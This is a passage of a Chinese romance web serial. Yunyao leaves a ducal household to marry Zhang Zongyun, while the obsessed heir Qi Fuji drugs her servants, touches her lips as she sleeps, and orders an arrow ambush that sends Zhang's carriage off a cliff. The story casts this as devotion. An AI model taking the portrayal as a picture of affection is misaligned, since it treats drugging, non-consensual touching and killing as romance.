齐拂己的目光从左往右,在她脸上缓缓扫过,心头轻轻一声笑:瞧她这紧张样子! 她晓得张宗云出狱了? 应该是大安多的嘴。 算了,本来就是他安排今日张宗云出狱,姓张的教训已经吃够,不会再和云窈有任何牵扯,让她晓得也行。 齐拂己微笑点头:“是,他洗刷了冤屈,今日出狱。” 云窈闻言,突然越过齐拂己到菩萨面前磕头。 这回也能听见响,齐拂己脸一沉,却在云窈站起回身时即刻藏住所有愠色,淡笑嚅唇:“怎么,这是谢菩萨保佑张宗云?” 云窈摇头:“保佑张公子的不是菩萨,不是大公子您。我方才在佛前祈愿,希望大公子好人好报,一生平安,能早日得偿所愿。” 她心里求的是齐拂己早日修成佛门正果,他却完全想岔,心里先默哼一句:呵,最后才帮他求,不稀罕。 嘴角却逐渐扬高,就春来国公府的梅岭,一瞬绽放朵朵红花,又似一股甜滋滋的蜜浇灌进心窝。 云窈见齐拂己笑,也把唇角扬高,她行了个礼似要请辞,齐拂己眨下眼:“他早晨就已出狱,这会只怕离京了。” 云窈的确是想去探望张宗云,闻言怔了下。 “小姐、小姐!” 听见熟悉的声音,云窈抬头,继续往前打开佛堂门,果然,落玉正大步流星朝这厢奔来。 云窈急忙迎上:“怎么这么快就回来了?” “张公子出来了!”落玉笑着喘气,“他约你去得闲楼见面!” “现下吗?” “嗯!”落玉狠狠点头,她受云窈影响,视齐拂己如菩萨,讲话丝毫不避讳。齐拂己安静听着,面色平和,云窈向他请辞时,他甚至帮着安排一辆马车送去得闲楼。 云窈到得闲楼时,早有眼巴巴候在门口的铁头引她去楼上包厢。 张宗云大理寺磋磨一遭,谨慎许多,虽然知道是云窈和齐拂己帮自己斡旋,但怕自己牵连国公府,不敢再登门。约在这僻静些的酒楼,见到云窈便双膝下跪:“云姑娘,请受我一拜!” 云窈慌得想扶,却又不敢触碰,于是屈膝对跪:“不用不用,公子行此大礼,折煞奴家!” “不,应该的。”张宗云坚持不肯起,要谢她的救命之恩。 云窈脑海中却浮现齐拂己笑貌,风度翩翩,她不自觉出口:“其实是大公子救了你,多亏了他斡旋。” 张宗云重重点头:“我知道,改日一定重谢世子。” 云窈也点了点下巴。 无话说了,她咬唇。 张宗云起身,抬手邀云窈到四方桌对面坐下:“今日找你来,是想商量一件事。” 云窈唇咬得更厉害,微微显了牙印,落玉跟她想得一样,在旁扬起下巴:“怎么,张公子又要把婚书还给我家小姐?” 张宗云忽然笑起来,摇头,非让云窈和落玉先坐下,喝茶暖身,才开口讲自己被贬回原籍,一辈子都只是一介白身。 云窈出言宽慰,无意间将张宗云话语打断,他咽了下,等云窈把话讲完,才红着脸问出方才被打断的话:“我约姑娘见面,是想问你一句,愿不愿意……”张宗云也咬唇,“和我回湖州?” 云窈其实不介意白身,家里祖祖辈辈就没当官的。再则,在魏国公府住的这段日子里,她越来越能清楚感受到自己的内心:她喜欢的,是从小过到大,平头老百姓过的日子。 而且,湖州离杭州挺近的…… “离杭州近,风俗相近。” 张宗云一句小心翼翼的补充撞进云窈心坎,她点了点头。 砰! 张宗云激动站起,两手抬举,又放下,再抬:“既如此……甚好,甚好!”语无伦次,想到哪说哪,“我会将婚书递呈官府,早过明路。” 张宗云灼灼注视云窈,一双眸子从未如此亮过:“窈娘……” 此呼唤一出,云窈红脸低头,隔壁包厢里的齐拂己则骤然攥紧茶盏。他还是太仁善了,今日之前,竟从未想过取张宗云性命,但现在——他要他死! 第23章 第二十三章 她不乖 大安和速喜都跟着站在厢房里,自然也听见。大安大气不敢出,心想今日要是失聪就好了,他不禁余光偷瞟速喜,看他也聋了没有? 呵,速喜面无表情,如老僧入定,不仅耳聋,连眸中神都不聚,仿佛瞎盲不能视物! 于是大安也装起瞎来。 可还是忍不住偷听隔壁云姑娘和张公子的好商好量,一字不漏。 啧啧,云姑娘说禀明公主后就一起回湖州。 啧啧,世子的脸色越来越阴沉,甚至喉头艰涩滑动了下,被他大安瞧着。 大安望向窗外,外面倒是大晴天,这屋里头要暴风骤雨啰! 隔壁商量好后,四人一道坐下享用美味佳肴,时不时听见笑声 大安再吊着眉毛瞅自个这边,世子桌上同样摆着得闲楼的招牌菜,满满一大桌,已经凉了却没人动筷——这情形,他和速喜不敢饿。 茶也一样,凉了,估计跟世子爷的心一样凉。 当然,一连串嘀咕大安是万万不敢讲出口的。 他等着,候着,熬到隔壁动身要走,再偷瞅世子,应该也要走吧? 大安眼珠转过去,收回来,再猛瞅一眼:等等!怎么世子仍坐在桌边,左手垂着,右手并小臂搁在桌上,丝毫没有要起身的意思。 不去追? 半晌,齐拂己拇指拨动,似拨念珠般无声转动手中那盏未喝的茶,勾了下唇:“速喜,让她迟些回府。” “喏!” 速喜很快消失不见,而回魏国公府的云窈和落玉没一会就发现车越走越慢,到最后完全停驻。 云窈抬头望门口,落玉性子急,已经蹲着走去推开车门,再挑换的厚帘子:“叔,怎么回事,怎么停了?” “说是在搜贼,正挨个排查呢。”车夫先回头答落玉,而后重转回去张望,落玉跟着伸脖,前头马车一辆接一辆,黑压压排转弯,既望不见头也瞧不见搜查官兵。她叹口气,关上门对云窈复述车夫的话,并嘟囔:“且等了!” 其实云窈方才听见了对话,明明她这车里没贼,却还是心一慌,手上没帕子就默攥衣角。 “等一等吧。”云窈柔声道。 眼睁睁看着太阳西斜,躲进云里,天色由晴转阴。 当云窈还堵在路上时,齐拂己早回府中。 前方两条岔路,往左通向世子院,他抬腿往右迈。 大安在后瞧着,立马张目,但不敢问,跟随齐拂己来到上房。 堂前一排芭蕉树,入秋依旧绿油油,齐拂己往前走,树往后倒,早有仆妇撩帘的撩帘,通传的通传:“殿下,世子来了!” 汉阳公主闻言,天大的事也要放一放,站起疾走,直勾勾盯门口,望眼欲穿。 齐拂己掀袍下跪:“母亲!” 汉阳公主一把扶住,牵着儿子要求他坐下,婢女们皆有眼力架,倒水重布果盘,齐拂己道:“孩儿疏忽失礼,好些天没来向母亲请安。” 公主满不在乎:“不拘那些虚的。” 她听魏国公漏过一嘴,知道齐拂己近来鲜少去佛堂。离朝堂近,她高兴还来不及,乐呵呵续道,“你忙你的,我看年轻人也不必拘泥旧规矩。” “母亲近来身体怎么样?”齐拂己问。 这是一句寻常得像例行公事的关切,汉阳公主却美滋滋,旋即回:“我好的很。” 但转念思及齐拂意身体,原本扬着的唇角并眉眼一起耷拉下:“就是你弟弟让我操心。” “怎么了?”齐拂己故作不知。 汉阳公主禁不住说起云窈如何“招惹”齐拂意,害他生病。尽数倾吐完,她才眯起眼,后知后觉地想:眼前这个大儿子,从前眼里只有佛,而今忙朝堂,未必在意她这些家长里短,红尘纷扰。 公主自小所受教育,以为自己妇人短见,不由长叹。 齐拂己轻抚公主手背宽慰:“母亲莫要思虑伤身,我会为二弟祈福。” 汉阳公主蹙眉,情不自禁出口:“光祈福有什么用啊,那祸害还在家里!” “母亲莫冲动,,”齐拂己温言细语,“你方才也说了,二弟亲口挑明,驱赶那位云姑娘就是忤逆他心意。” “那……还是留她在家里?”汉阳迟疑,其实她也纠结,“留下来的话,不是还有冲喜一说……” 齐拂己未料到公主会有这想法,即刻心下一阴,眉头微不可察地蹙了下。 须臾,恢复寻常神色,照原计划摇头,循循善诱:“其实地方是死的,人是活的,挪窝除了撵,还可以让她自己走。” 公主分唇:“你的意思是……?” “倘若她自己走的,便不算忤逆二弟。这样最为合适。” “可她怎么会走呢?”公主盯着齐拂己呢喃,“能有什么法子能让她主动提出来?” 齐拂己缓缓蹙起修长两眉,摇头:“儿子无能,一时也思忖不到对策。” 公主见不得心肝骨肉面露愁容,生齐拂己自责:“没事,娘就跟你随意牢骚两句,别往心里去。”她主动转了话锋,“你近日在礼部还好?” 齐拂己有问必答,同母亲说了会话,还茶歇吃了碗酪樱桃,方才离去。 他前脚刚走,云窈后脚就回府求见汉阳公主,将将错过。 下人来报,公主在堂内踱了两步,一甩袖:“传吧。” 时隔多日,终于决定见云窈一回。 云窈先行礼,而后才小心翼翼说出想和张宗云回湖州。她十分忐忑,讲几句就无意识咬一下唇,边说诉求,边一遍又一遍感谢上京这段日子里公主对自己的照拂,藏在袖子里的两手也时不时紧握。 上首,汉阳公主亦紧紧攥着高背椅扶手,才能板起脸,抑下喜色。她觉得大儿子是真有点佛法在身上,求什么来什么,灵得很。 因担心云窈反悔,公主不敢讲一句不舍挽留,只能皱皱眉,憋憋嘴,假装犹豫犯难,而后便允了。 云窈千恩万谢,继而联系张宗云,约好等婚书过了官府就回湖州。 渐渐的,国公府上下陆续知晓云窈要离京。 最先来同云窈道别的是小筑里的婢女和仆妇,负责烧地龙的婢女晓得云窈挨冻容易生病,反复叮嘱她路上防寒,后厨的厨娘把云窈爱吃那几道菜的方子交给她……诸如此类,云窈颇为感动,同落玉道:“明日我们出去一趟,要想办法让她们派一辆车。” “去做什么?”落玉旋即追问。 云窈咬了下唇,少顷才回:“去了你就知道了。” 她去京城的昇昌分号。 落玉候在外间,待云窈出来,问道:“好了?” 云窈点头:“走吧。” 落玉疾步走近,小声:“这是钱庄。” 云窈点头,知道。 “这是钱庄。”落玉重复。 云窈猜到落玉疑惑,微笑轻声:“我刚取钱。” “小姐你怎么取的?” 云窈抿了下唇,娘离世前千叮咛万嘱咐,颈上那枚水滴桃红碧玺是取钱凭证之事,绝不可告知第二个人,哪怕那人对云窈再好。 她避重就轻:“娘亲之前在这个分号给我留了笔钱。”接着话锋一转,“走吧,买礼物去。” “买礼物?”落玉事事疑惑。 云窈颔首:“大伙对我都很好,离京前我想买些礼物答谢大家。” 她已拿定主意,要给仆婢们,公主、大公子、二公子和齐氏姐妹都买礼物,所以取了两张银票。 两张票子面额颇大,所以她求了一辆里的车,既“送”且“护”,应该没人敢抢国公府吧? 云窈几乎逛一整日,选出来的礼物堆满国公府那辆宽敞马车。 回府时,刚巧撞见齐氏姐妹来小筑。 齐姝妍开门见山:“窈娘,你要回去了吗?” 云窈点点头,和她们简短交代行程。 齐姝静道:“一路多保重。” 齐姝妍却回:“这是好事,她是回去成亲的。” 二女一齐出声,而后齐姝静和云窈皆愣了下,齐姝妍却续道:“窈娘,等我和小太尉成亲时再请你回京观礼!” 云窈万万想不到齐姝妍这样豪放,脸上一辣,不知如何回,齐姝静则垂下眼,眸子缓缓变暗淡。 “我会想你的!”齐姝上突然上前,紧紧抱住云窈。云窈先是一僵,继而抬手,尝试慢慢回应齐姝妍。 完了,云窈吸鼻子,她有点想哭了。 齐姝妍松开云窈,似推似拍她肩头:“别伤心,‘莫愁前路无知己,天下谁能不识君’!” 这话是此时讲的么?云窈默想。 齐姝静送了云窈两匹浮光锦,齐姝妍则送一整套妆奁。云窈回齐姝静一套头面,齐姝妍则是织金马鞍。 说了会话,送走齐氏姐妹,时候也不早了,落玉要铺床,云窈道:“等等。” 落玉定住,疑惑。 云窈笑着掏出一对石榴石耳坠:“给你。” 落玉盯着云窈,给她的? 今日逛街她就瞧上这对坠子了,但只能默默藏在心里,没想过讲出来。 小姐竟然发现了,还送她!什么时候买的? “谢谢小姐!”落玉激动得湿了眼眶,捧着耳坠不住道谢。 “你今天也辛苦了。”云窈柔声。今日天色已晚,明日她会先将购置的那柄玉如意献给公主,再给仆婢们分礼物。那玉如意上头嵌了红珊瑚,应该能拿得出手吧? 翌日,云窈送完礼,从上房归来,瞧见齐拂意站在桂花树下,正好是昨日偶遇齐氏姐妹的位置。 “二公子。”她施施然行礼。 齐拂意一笑:“听说你要离京?” 天气一日比一日冷了,木樨小筑又是个四面灌的风口,云窈担心齐拂意身体,想请他进屋说,却又不敢。 齐拂意仿佛猜中她心思,笑道:“就站在这里说吧。” 云窈四下观察:“去那边亭子吧。” 亭在假山前,看起来有两面无风,要好些,而且露天,光明正大。 齐拂意望了一眼,方才点头。 二人前后入亭,跟随齐拂意的仆从即刻架起一圈围帘,又生炭火,麻利得像在变戏法,云窈一面感慨自己见识太少,一面又担心帘子围了,不清不白,惹怒汉阳公主。 她惴惴不安,偷偷捏拳:不会怪罪吧……莫说她身正影直,就这帘子里这么多伺候的人,有目共睹,都可以证明她清清白白! “听说你要离京?”齐拂意再次出声,云窈这才回神。 “什么时候?”他追问。 “就这两日。” “回去就……”齐拂意哑了,说不出回去就成婚。 半晌,艰难开口:“那张宗云……待你好吗?” 云窈飞快点了下脑袋。 齐拂意遂命人上礼物:“一份临行赠礼,另一份是提前贺你成婚的。那时候我只怕……”他停顿良久,方才续道,“不一定在了。” 说出来就不难了,仿佛开了闸的洪,最后半句,一个字赛一个字轻快。 云窈听着心里难受,反驳:“二公子好人好报,一定会长命百岁的。” “我身子不好。”齐拂意也反驳,有自知之明。 “二公子哪里不好了,”云窈倾身,“病去如抽丝,这场病好了就好了。” 齐拂意摇头:“我大概是这世上身子最弱的人。”他抬手指向自己左眼,“其实除了跛脚,我这只眼睛也看不见。” 云窈哑口。 齐拂意反倒笑起来:“娘胎里出来就是瞎的,天残。”他伸腿,展示给云窈看,“腿是小时候追大哥,眼睛瞧不见,心又急,带着个凳子从楼梯上滚下来,从上到下,全折了,旁的地方都养好,就这腿,还不了原了。” 云窈旋即深思:二公子身子不好,是天生的,还是小时候这场灾祸所致? 她没问出口,反而命落玉拿礼物给齐拂意。 细长条黄花梨盒子,能装的就那几样,能猜到,齐拂意却笑问:“这里面是什么?” “是折扇。” 齐拂意以为云窈会说保密,让他回去再开,没想到她直接回答,不由笑滞须臾。 云窈垂眼,其实最开始相中的是一副玉质围棋,但是不知道齐拂意喜不喜欢下棋,反正有见过他拿扇子。 再则,她听说在京城风俗里,扇子亦有离别之意。 很合适。 “谢谢,我很喜欢。”齐拂意笑纳。 之后数日,云窈陆续送出准备的礼物,到最后只剩下一份——她给齐拂己挑的,来自天竺的释祖梵经。 因为齐拂己没再找过云窈,所以这份礼一直没送出去。 “我们去找大公子。”某日,云窈得闲,主动去佛堂寻齐拂己。 扑了个空,守佛堂的老仆说世子这会大概还在世子院。 云窈便改寻去世子院,还记得路,但不知怎地,来这里就是比佛堂拘谨。她在门口施礼,道明来意不久,书房门便开了,齐拂己站在阶上问:“什么事?” 云窈仰头,发现他站在高处淡淡扫着自己,她心里突然涌起一个念头:大公子近来一定很忙。 她再次复述离京事宜,如实告诉齐拂己自己回去后会同张宗云成亲:“大公子对我们夫妻有再造之恩,其实就是我俩的媒人。云窈在这里叩谢大公子。” 云窈说着要下跪,想到分别以后,可能今生不会再见,她诚心诚意想给齐拂己磕个响头。 半空中,被齐拂己握手拦住。 他抿着唇,心内阴云一片,除了夫妻对拜,他不想看见她跪她,她这样做,和她说的话一样令他难受,心里头堵得慌。 齐拂己握手时仅存阻拦意,待握住柔夷,却即刻不可控地心猿意马:好想握紧,再握紧,穿过她的手缝十指紧扣。 齐拂己牙躲在唇后紧咬,忍下冲动,松开云窈,一下没控制好力道,甩得云窈往后倾倒。 云窈心沉了下,齐拂己自个反倒不察。 “不用拜了。”他看向同样立在阶下的大安,“去取些盘缠赠予云姑娘。” 大安应诺去取,云窈旋即道谢,又要屈膝,忽然想起齐拂己说的不必拜,抬头望向上首,和他的冷清目光对上,她的腰突然就没弯下去。 须臾,改为垂首:“多谢大公子。” 云窈得了一张三百两银票,落玉从旁瞅见,不算少了,颇阔气,可就是觉得疏离。走了一会,她憋不住,讲出来:“小姐啊,按理,我们之前和世子也算常往来吧?怎么听见小姐要走,世子反倒是所有人里回应最冷淡的呢?” 云窈笑道:“大公子修佛,佛家没有执我,缘来则聚,缘去则散。” 落玉点点下巴,这理由能说服她。 二女回了木樨小筑,按原计划收拾行李,到晚上,一个外间一个里间入睡。月亮爬到最高处,风静鸟眠,一个漆如墨的身影潜入香闺。 悄无声息走近里间床边,渗进来的月光只能照亮齐拂己半边脸。他注视着朝外睡的云窈——她微屈双膝,呼吸均匀。他安排下的药令整个院子里人都睡得深沉。 齐拂己微笑探手,指腹沿着云窈的上唇划过:她真是不乖…… 第24章 第二十四章 叛佛 齐拂己发现她睡觉似乎不喜欢落帐子,锦帐对开勾在金镶犀牛角的帐钩上,没有散开。 他笑了笑,那他俩成亲以后就不落帐。 月光照着雕刻镂空的犀牛角,投到地上成一朵花,摇摇晃晃。 齐拂己的食指却很稳,一直放在云窈唇上,纹丝不动。 她的唇真是软,他从来没有体验过这么温柔光滑的触感,让他迫切想往下摁一摁,在她唇上留下自己的指印,却又舍不得伤她,一丁点痕迹都不忍心留下。 齐拂己修长的食指从云窈的左侧唇角一顺抚到右侧唇角,再从右抚向左,如此来回数趟,动作极轻,指挪动得越来越慢,他既沉浸于偷来的欢愉,浑身激颤,又希望云窈能醒来,期盼她能亲眼瞧着,能默许,甚至高兴他做这些事。 想到这他心里生起一股恨,不由自主朝云窈倾身,仅仅一掌距离就要挨上云窈,却定住。 半晌,齐拂己回身重直起腰,手也收回来,只将食指放入口中吮了下,然后就垂着胳膊,静默凝视云窈,神色不明。 差不多到三更,齐拂己才转身从正门出屋,踱出小筑,他走得不疾不徐,堂而皇之,俨然这座木樨小筑的男主人。 云窈全然不察,翌日和落玉如常起床、洗漱。 正梳洗着,院子里有人呼唤:“云姑娘!” 仅闻声就能感受到欢快。 云窈和落玉皆眺窗外,见后厨的黎婆子正欢欢喜喜朝她们走来。这位厨娘不是平常给云窈开小灶那位,上回见面还是一个多月前,那时提前预备中秋,黎婆子来府里桂树最多的木樨小筑拾花。 如今,后日才是中秋,京城的桂花却早已落尽。 黎婆子将拾的桂子混糖酿成桂花酱,又变成香喷喷的桂花酒和月官饼。 因为当时拾花时云窈没有一丝刁难,所以黎婆子特意留出一壶酒、一盒饼,答谢云窈。 云窈当即分给大家尝。 落玉咬一大口月官饼:“好甜!”她看向黎婆子,笑说,“有点像我们那的饼。” 黎婆子亦挂笑接话:“听说江南人做饼喜欢包桂花馅。” “不仅仅是做饼,也不仅仅包馅!”说起家乡就打开落玉的话匣子,恨不得将杭州所有的美好展示给外乡人,“有时候我们蒸米糕,会撒些糖桂花在面上……”说着说着她起了卖弄心思,“还喜欢把糯米塞在藕眼里,浇上桂花酱……” “这我知道,”黎婆子打断,“桂花糖藕,还有桂花糖芋苗,中秋咱们府里都会做。” “是京中习俗吗?”落玉追问。 云窈闻言分了下唇。 “不是,就是桂子应景。”黎婆子笑呵呵注视落玉,“糖芋苗是金陵城的做法,糖藕是你们那边的。” 落玉这才意识到国公府里哪怕一只蚊子,也比她见多识广,她出丑了。 落玉合唇。 云窈始终在旁默默观察,咬了下唇,拿起黎婆送的桂花酒,瓷上烧绘着“援骥斗兮酌桂浆”,“奠桂酒兮椒浆”等字样,十分文雅。 她暗叹口气,哪怕喝酒上脸,不能多尝,还是为了给落玉解围,饮上半杯:“嗯——这酒好好喝!” “好喝吧?”黎婆子侧身,目光即刻从落玉身上转移到云窈面上。 云窈含笑点头:“好甜,这酒除了醇厚的桂花香,还能喝出点山葡萄的味道,余味绵长,我从来没喝过这么好喝的桂花酒。” 落玉闻言立马也尝一口,疑惑,这真比江南的桂花酒好喝? 黎婆子却是心花怒放,弓身凑近云窈,正要再开口,忽有个小丫鬟从门外跑进院内,因为急,身子撞到门板,发出一声轰响。 云窈瞬间站起:“当心!” 黎婆子识得这丫鬟,刚买进府那会在她手底下打杂,后来才调去门房。黎婆没起身,只转向那丫鬟,斥道:“怎这般毛毛躁躁!” 丫鬟走近,连赔不是,云窈问她:“还好么?有没有受伤?” 丫鬟摇头,不敢耽误正事:“云姑娘,那位常来找您的长随又捎话,说是婚书下来了!” “他人呢?”云窈追问。 “还在门外候着呢。” 云窈遂领落玉去见铁头,又和张宗云茶肆见面——行李早就收拾好,明日就可动身。张宗云也是感叹,多嘴说了一句“要在路上过中秋节”了。 云窈听着,没接话。 待分别回府,路上马车悠悠,车窗紧闭,无甚事做,落玉用指尖卷了圈自个的碎发,又松开:“小姐,你是不是不高兴呀? 云窈先怔,继而缓缓分唇:“没有啊……”她说得很轻,过了会才反问落玉,“怎么这么说?” “那你为什么不笑呢?”落玉歪头,“你听见婚书下来没有笑,和张公子说好明日出发时,也笑得很淡,很客气。” 她觉得小姐的神色还有些茫然。 云窈微微后倾上身,有吗? 她能清晰感受到尘埃落定,确定要和张宗云过下半辈子时,后知后觉泛起的忐忑和未知,但要说不开心……好像是没有太开心,可也没难过。 一切十分平淡。 云窈翘起唇角:“有吗?” “有!”落玉重重点头。 云窈闻言挤高唇角笑了下。 翌日,云窈离开魏国公府。 临行前特地拜别公主,公主不仅接见云窈,馈赠一大包盘缠,还说日后在湖州遇到难处,只管修书京师,她替云窈做主。 公主瞧着动容,似真不舍,唇嚅又嚅,只是不掉眼泪。 云窈离开上房后,又去寻齐氏姐妹,要走了,怎么也要打声招呼。 “迟两天再走吧,”齐姝妍道,“后日中秋,怎么也该留下来过节。” 云窈抿唇,齐姝妍是第一个出言挽留她的。 她笑着摇头:“算了,我已经和张公子约好,车从今日开始雇,沿途也俱安排,再难更改。再说……”她眨了下眼,“千里共婵娟。” 齐姝妍长吁,遗憾。 须臾,抬起右臂拍向云窈肩头:“我们送你出门吧。” “我们送送。”齐姝静点头,此刻才出声。 云窈道谢,没有坐软轿,和姐妹俩一起步行去往府门口,边走边聊,怎么看怎么像依依惜别,然而云窈发现自己心里竟没有不舍。 有些意外,却也在意料之中,她环视周遭,视线越过假山,越望越远,府里遍处挂着绘着庆贺字样的鸟兽灯笼和彩扎,别看在国公府住不到半年,其实已经是云窈平生待得第二久的地方,但……没有留恋。 反而有些高兴可以离开。 云窈忽地瞥见假山后面一角青袍,像是齐拂意的衣裳。反正要走了,她胆大一回,改朝假山走了两步,主动去瞧清。 果然,齐拂意躲在假山后目送,那一角因风吹起,方才露馅。 “怎么了?”齐姝妍追着云窈走过来,亦瞧见,旋即唉了一声,“二哥也来送你?” 云窈没回齐姝妍,她和齐拂意视线对上,冲他微笑颔首,多谢他来送行。 齐拂意还站在那里,云窈已经折返,重踏上离府路。国公府家养的伶人们正排演,悠扬的笛箫从墙后传来,奏的《折柳》,竟凑巧应景。 云窈此时才觉鼻头酸。 到角门,云窈跨过门槛,齐氏姐妹随后抬脚,齐姝静却冷不丁瞟见远处牌坊后立着的李凝,一下慌得手抖,声也颤了:“送君千里终有一别,一路多保重。” 她飞速说完,不仅收腿不再跨门槛,还把身子侧过去,自欺欺人般躲避。云窈愣了下,留意到齐姝静异样,但不出声,在心底默默猜测,齐姝妍则挽起云窈手臂,拉她下台阶,说些“以后有机会去湖州,去找你玩”之类的话。 齐姝妍直送到马车前,云窈踩脚凳上车,最后回望恢弘的国公府,心里却没由来思及齐拂己。 大公子……是真的没有来送行。 虽然她上回给落玉解释不要执我,看淡缘分,头头是道,眼下却禁不住涌起一丝淡淡的失落和惆怅,她脑海中忽然重现齐拂己搀她起身时,狠狠一甩手的画面,心绪愈发低落。 唉,算了,大公子终究不是红尘中人。 云窈钻进车厢,先落车帘而后关门,隔绝一切,国公府彻底消失在她的视线中。 马车行了半个多时辰,和张宗云在城门口汇合。张宗云敬爱云窈,未正式成亲前不与她私下同乘。另雇了一辆马车,和云窈的车前后脚通过城门。身后十里长街,车马如龙,寒冬仍有人叫卖催发的鲜花,云窈却关上车窗,京城虽好,不如早还家。 嘎吱—— 咯噔—— 一出城,路况即刻变差,除却车轱辘声还多出许多异响,前面的张宗云推开窗喊:“窈娘!” 云窈重开窗,探头回应。 张宗云一脸紧张:“前面路不好走,我们慢些行,稳妥些,好么?” 他怕云窈听不清,努力囔高,拖得绵长,“好”在空旷处行成回声,一会似问,一会似答。 云窈听得很清楚,分唇极短促应了个好。张宗云读出唇语,冲她笑笑,两辆马车继续前行。 云窈关窗前往前眺了眼,远处隐隐山峦,在阴天里瞧不见青色。她记得这座山,进京时也走了,那时满山苍翠,山间有座水月寺曾借宿两宿。 云窈抿了下唇,别看现在能瞧见,望山跑马,起码要好几个时辰才会走到,到时候要是晚了,会不会再次借宿水月寺? 不知那琴僧还在不在?她突然想。 但仅只一念,转瞬就抛置脑后,彻底关上车窗。 * 水月寺,禅房。 齐拂己双膝跪在佛像前,阖着两眼,拇指拨动那串已许久未佩戴的佛珠。 大安和速喜皆候在他身后。 大安觑菩萨,瞥世子,其实不太明白——这两日逢节休沐,世子不在家里过中秋,不送云姑娘,跑来水月寺做什么? 世子不是最在意云姑娘么?难不成不忍离别伤感,才避而远走? 大安眼眸转动,再次缓瞥齐拂己——世子闭着眼,脸上一点笑意也无,大安瞧着那念珠拨动,不知怎地就紧张起来,呼吸不畅。 而齐拂已亦两颊紧绷。他心内翻江倒海,朔风呼啸,之前决意取张宗云性命,但真要下手,面对佛祖,却又迟疑。 诸罪之中,杀业最重。 齐拂己虎口上挂着的佛珠手串转了一圈又一圈,仍做不了决定,忽然他想到张宗云和云窈的婚书已经过了官府,佛珠不由越拨越快,越来越疾。 哗啦—— 珠子断了,飞溅得到处都是,从地上高高弹起。 齐拂己不再跪佛,徐徐起身:“速喜,动手。” 听见吩咐,速喜和大安皆抬头望向齐拂己,许是禅房光线偏暗,世子脸上唯余阴戾。这天真冷啊,让人遍体生凉,彻骨觉寒。 第25章 第二十五章 毒蛇 * 马车抵达山脚时,天将黑未黑,余一线残阳横照,仿佛划破天空,从中涌出的灼热赤红岩浆。 落玉趴在车窗上看得痴了:“天真漂亮啊。” 云窈在她身后瞧,担心的却是另一件事——天快黑了,他们今夜在哪投宿? 要不就在山脚歇吧?明日再上山。 她心里这样想,口却难开,何况两辆车始终往前走,没有停下来的意思。 一圈又一圈盘山绕上,遇着岔路,两辆马车后退,再前进,变成云窈的车在前,张宗云车辆在后。 这是去哪? 天已全黑,因为害怕,云窈终于不再拖延,脑袋探出窗外,对着后面那辆车喊:“张公子,张公子!” 树上栖息的野麻雀被惊到,扑腾翅膀飞走。云窈同样被夜飞的鸟吓到,缩肩心悸,过会才继续喊:“张公子。” 张宗云停车匆匆赶来云窈这边,转眼人至窗下:“窈娘,以后你可以唤我的表字。” 他之前就告诉过云窈,他字长莲。 云窈眨了下眼:“张公子,我们晚上在哪投宿?” 张宗云提灯照着他和云窈的脸:“他们说上头有个水月寺,可以借宿一宿。” 云窈松口气,这才放心。 远处林中,速喜一身夜行衣,黑纱罩面,架在树杈上的弓弩纹丝不动,方才张宗云马车落后时就准备出手,却因云窈喊停,暂时搁置。 世子命令,不能伤云姑娘分毫。 速喜目不转睛盯着张宗云,看他和云窈说了会话,回自己车里,马车重新驶上山,夜黑如墨,再无他人,速喜果断张弓,放箭。 嗖—— 嗖—— 接连两发,一箭从马鬃毛旁擦过,另一箭射向车轱辘,卡住挑起,迫得马车侧翻,而那拉车的马受惊,扬蹄乱奔,更是火上浇油,众人尚来不及反应,就连人带车翻下悬崖。 两箭亦飞入崖下,深山密林,难寻踪迹。 因为天黑,云窈重新关了窗,在车厢内听见马嘶鸣,心慌慌,再开窗正好瞧见张宗云马车坠崖。 砂石连带着簌簌往下滚,云窈心胆俱裂,怕得手抖,却仍喊道:“停车!” 她这辆车的车夫早停下来,摘下车上挂的灯笼,跑近崖前。云窈和落玉跟着赶过去,灯笼只能照亮一点点,下面黑漆漆的,什么也瞧不见。 一阵马鸣,三人齐回头,见余下那匹马也开始摆头,这可是车夫唯一谋生的手段,而另一辆车上人乃至车夫,都是今天才认识。他忙跑回去,勒缰先稳住自己的马,而后交代云窈:“顺这条道往上走,有个水月寺,快去找师父们帮忙!” “我去水月寺求援!” 云窈毫不犹豫应下,车夫愣了下,随后往云窈手里塞提灯:“你把灯笼拿去。” 云窈颔首接过,往前疾走,四、五步后干脆跑起来。天黑,路上有坑,一下崴脚,落玉急忙去搀:“小姐!” “没事,”云窈赶紧重站起来,“救人要紧!” 好在一条路走到底就是水月寺,不会迷路,寺里敲完暮鼓就已关门,云窈上前,急拍山门。 落玉见状也拍另一扇,啪啪直响,高声呼唤:“开门开门,有人掉下山去了!” 云窈扫一眼落玉,也学她喊,只是天性使然,比落玉嗓门小太多。 三道山门和僧房隔得远,许久才有人来开门,那僧人没听清囔囔,边开锁边问:“来了来了,怎么了?” 门一开,云窈和落玉皆跌进去,再直起身时,前面四、五僧人提灯,右手则立着一群围观香客。 落玉高呼:“快快快,有人掉下山了!再不救来不及了!” 云窈则于数十人中第一眼瞅见鹤立鸡群的齐拂己:“大公子?” 再瞥见男人身后大安,确定真的是大公子,云窈一时忘形,扑入齐拂己怀中:“大公子——” 他在她眼里是从天而降的活佛、菩萨,有了他就有了主心骨,张宗云就一定能得救,云窈忍着一直没落的泪再也禁不住,似断线珍珠往下掉。 齐拂己不紧不慢抬手,回拥住云窈。虽然她风尘仆仆,鞋裙为另一个男人脏污,但他要的就是这样,她主动投怀送抱,只依赖他。 众目睽睽下,齐拂己不能有出格动作,只默默提气,狠吸一口云窈的体香。 “大公子,救救张公子!”还有铁头、马夫,一车三条性命在云窈心里同样重要,她稍微后退些,摇齐拂己胳膊,“他们跌下崖去了,快派人去搜救!” 一鼓作气,与齐拂己详说。 救救张公子? 张宗云还没死绝呢? 齐拂己心想。 他尽最大努力控制脸上表情,除却安慰、理解和关心,不可以流露其它:“你莫慌,我现在就去救他们,不会有事的。” 他彻底松开云窈,转去同寺僧商议。方丈此刻也闻讯赶来,齐拂己又挪身同方丈交待。 所见所闻令云窈一颗七上八下的心稍微回落,她缓了会,见方丈拔选十来武僧,个个燃起火把,就要动身,不由追上去:“我和你们一起去!” 落玉亦道:“我也去!” 寺僧们先回头,齐拂己反倒最晚转过来。一寺僧躬身道:“阿弥陀佛,夜已深,二位女施主最好还是候在寺里。” 云窈面上没有松动。 大安见状附和:“是啊,这山里说不准有狼、野猪,多不安全!”他本来还打算说万一出事,照拂云窈还耽误事了!但这句有些贬损云姑娘,大安看向齐拂己,不敢讲出口。 少顷,云窈妥协:“那辛苦诸位恩公,请一定救他们回来。” 她双手合十,朝众人深鞠一躬。 众僧皆举火把,不能还以佛礼,便点头道:“施主放心,我等定竭尽全力。” 